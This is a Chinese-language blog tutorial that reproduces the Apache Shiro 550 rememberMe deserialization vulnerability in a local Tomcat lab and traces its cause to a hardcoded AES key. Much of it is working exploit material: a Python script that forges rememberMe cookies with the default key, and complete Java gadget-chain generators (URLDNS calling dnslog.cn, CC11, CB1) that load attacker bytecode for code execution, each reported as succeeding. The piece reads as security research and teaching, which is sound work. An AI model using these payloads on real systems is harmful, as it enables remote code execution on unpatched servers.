Apache Shiro是一个开源框架,这个漏洞在2016就被披露了。Shiro框架使用广泛,漏洞影响范围广。
环境搭建
这里我使用的是IDEA 2023.3.5
环境下载
这里就不配图片了,具体操作可以搜索引擎
tomcat 8.5.76 下载地址:
https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.76/bin/apache-tomcat-8.5.76-windows-x86.zip
JDK1.7下载地址:
https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html
下载shiro对应的war包
https://github.com/jas502n/SHIRO-550/blob/master/samples-web-1.2.4.war
shrio复现的对应源码:
https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
过程
首先IDEA Open 打开shiro 源码的项目,如图路径
在pom.xml中找到如图对应的代码添加这一行,最后重新加载 Maven项目
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version> //添加的这一行代码
<scope>runtime</scope>
然后 Ctrl +Shift +S 配置当前项目的JDK 版本为1.7
如图打开设置
我这里已经配好了,就是把Tomcat的安装路径放到里面就可以了
然后来到这里
放入下载好的war包
然后配置这些就可以了
运行之后可以看见和下面图片一样的,说明Shiro550复现环境搭建成功了
原理分析
Cookie的源头
当登录框勾选 Remember Me(记住密码)的时候
当登陆成功的时候,服务器的Cookie的 remeberMe字段下的值会返回一段字符串。而这个字符串很像加密过的,很长的话一般说明了保存了写信息什么的,而且也比较特殊,比如序列化什么的
这个时候我们可以来到源码中搜索一下Cookie,Ctrl +N键搜索名字有关的类。IDEA会列出这些
在这里我们看见了和Cookie有关的类名,而且这个包还是 shiro 1.2.4,点进去看一下
这个方法的意思是:获取反序列化标识符
追踪这个方法,来到了这里
这个 convertBytesToPrincipals 方法名的意思是大概是字节转换,可能涉及序列化,追踪这个方法看一下。
可以看见它涉及到了解密以及解密序列化的方法
反序列化的入口点
点进去先看一下这个方法
可以发现它是一个接口
最后发现是这个接口方法调用了 readObject方法
通过这个方法的分析我们可以发现,我们可以传入一个序列化的数据,然后服务器通过解密然后反序列化后最后执行我们的代码。
解密方法的逆分析
我们已经知道了反序列化可能存在漏洞的大概流程,现在分析一下 decrypt 这个方法的解密流程。
encrypted大概是要解密的序列化字节,而右边的 getDecryptionCipherKey方法应该是获取密钥的意思,点击这个方法
然后继续追踪方法的调用,点击 setDecryptionCipherKey方法
来到这里发现 setDecryptionCipherKey 方法是来自 setCipherKey 方法调用的,追踪该方法
这个方法的意思大概是设置密钥,也就是说开发者设置好了固定的密钥的值,我们点进去看一下
发现这个值是一个常量
通过注解的意思发现这个密钥首先通过了 AES加密,然后又进行了base64的加密。
漏洞利用
我们根据 Cookie的加密原理,可以利用下面这个Cookie加密脚本
- 依赖安装
pip install pycryptodome
pip install pycryptodomex
Cookie加密脚本:
from email.mime import base
from pydoc import plain
import sys
import base64
import uuid
from random import Random
from Cryptodome.Cipher import AES
def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
if __name__ == "__main__":
data = get_file_data("ser.bin")
print(aes_enc(data))
# 同目录下放已经反序列化的文件ser.bin,通过AES和BASE64加密生成rememberMe的cookie
我们可以安装一个插件 Maven Helper
来到 pom.xml 这个插件主要的作用是依赖分析,我们打cc链的时候只能打 runtime 和 compile,不能打 test
实际上 还有一个cb链可以打
URLDNS链
因为 URLDNS 链是JDK自带的,不需要依赖,但是只能进行SSRF,不能RCE。
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
URL url = new URL("http://dnslog.cn");
setFieldValue(url,"hashCode",1);
hashmap.put(url,1);
setFieldValue(url,"hashCode",-1);
serialize(hashmap);
}
public static void setFieldValue(Object obj, String fieldName, Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
序列化好 urldns链之后,就有了一个ser.bin文件,这个时候运行 shrio550的加密cookie脚本。
登陆进去之后,可以看见 我们要替换的是 rememberMe后面的一丢字符串
这里要删掉 JSESSIONID,因为它属于Cookie验证的一种,如果它在的话,代码逻辑就不会走到 rememberMe里了。
替换 rememberMe的值为我们生成的cookie,可以发现URLdns链执行成功
CC11
这条链子,具体可以参考我写过的CC11分析:
https://blog.csdn.net/weixin_53912233/article/details/138536622
Shrio 本身没有Commons Collections3.2.1,而且还是 test的
这里我们添加 Commons Collections3 的依赖
<dependency>
<groupId>org.ow2.util.bundles</groupId>
<artifactId>commons-collections-3.2.1</artifactId>
<version>1.0.0</version>
</dependency>
然后重新进入IDEA,可以发现这个依赖理论上是可以打的了
这里可以利用CC11链子的特性,无数组
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class C11 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
//初始化加载类
// templates.newTransformer();
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);
// tiedMapEntry.getValue(); hashCode代替
lazymap.put(tiedMapEntry,null);
lazymap.remove(templates);
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,invokerTransformer);
serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
可以看见命令执行成功了,这里的Tomcat服务器使用jdk8u65才能用CC11打,低版本不行
CB1链
Shrio 本身自带CB的依赖,我们可以用CB1链子去打一下试试
CB1的链子分析可以参考我写过的这篇:
https://blog.csdn.net/weixin_53912233/article/details/138661173
CB1EXP代码:
package CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class Bean {
public static void main(String[] args) throws Exception {
//CC3尾部链
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
BeanComparator beanComparator = new BeanComparator("outputProperties");
//CC2 部分的 优先队列
priorityQueue.add(templates);
priorityQueue.add(1);
Class<? extends PriorityQueue> pc = priorityQueue.getClass();
Field comparator = pc.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,beanComparator);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
替换 rememberMe的值,可以看见命令执行成功
总结
Shiro <=1.24 版本,密钥是默认的,这个时候我们可以利用 AES加密+base64加密 序列化的payload。利用服务器自带依赖去打,才能成功。
Cookie 中为 rememberMe值,需要注意下,是否存在漏洞。